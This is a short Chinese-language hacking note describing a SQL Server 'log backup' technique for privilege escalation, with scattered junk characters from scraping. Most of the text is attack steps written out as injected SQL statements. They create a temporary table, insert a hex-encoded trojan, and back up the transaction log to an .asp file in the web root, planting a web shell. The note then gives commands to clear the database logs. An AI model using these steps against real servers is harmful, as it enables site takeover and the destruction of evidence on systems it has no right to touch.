差异备份提权

admin

select * from master.dbo.sysdatabases　 列出所有列的记录

select name from master.dbo.sysdatabases 仅列出name列的记录
) z/ M; s/ V' i: }
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
9 X2 U3 _8 R# e  z
alter database 数据库名 set RECOVERY FULL--

( G- r" \+ Z( `) Zcreate table cmd (a image)--                    \**cmd是创建的临时表
  [* @+ J3 e* E4 f! S  z
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
! L& o& S8 m5 y, X6 e( g/ ]
9 b+ X. G' F  G! E5 J0 u' ^  einsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--

//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）

' I9 s( _+ D% p/ B2 P& Nbackup log 数据库名 to disk = 'f:\wwwroot\1.asp'--  (要备份的目录)
* q/ L1 C: B) c. X  G
drop table cmd--

8 I( R+ h; a+ w- x8 N' {' N
7 F) r2 x! S; x, ]) ^f:\
4 k' u2 ?, s- Y" Q) x) [16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)

4 O' G& j$ g* e; u1 f! v最好多加几个回车0d0a,要不会出错哈

4 C: T  H) z* L9 B/ s
* u. W2 D# e9 H2 r/ h$ b' OSQL   Server日志清空方法   

  x# s# m& @9 w  ~/ u* ^在查询分析器中顺序执行以下三步，其中   databasename   为你的数据库文件名
1.清空日志：DUMP   TRANSACTION   databasename   WITH   NO_LOG   

2 d. E% z) j' A+ o, f% S2.截断事务日志：BACKUP   LOG   databasename   WITH   NO_LOG   
" M$ `( V3 l7 n. \
3.收缩数据库：DBCC   SHRINKDATABASE(databasename)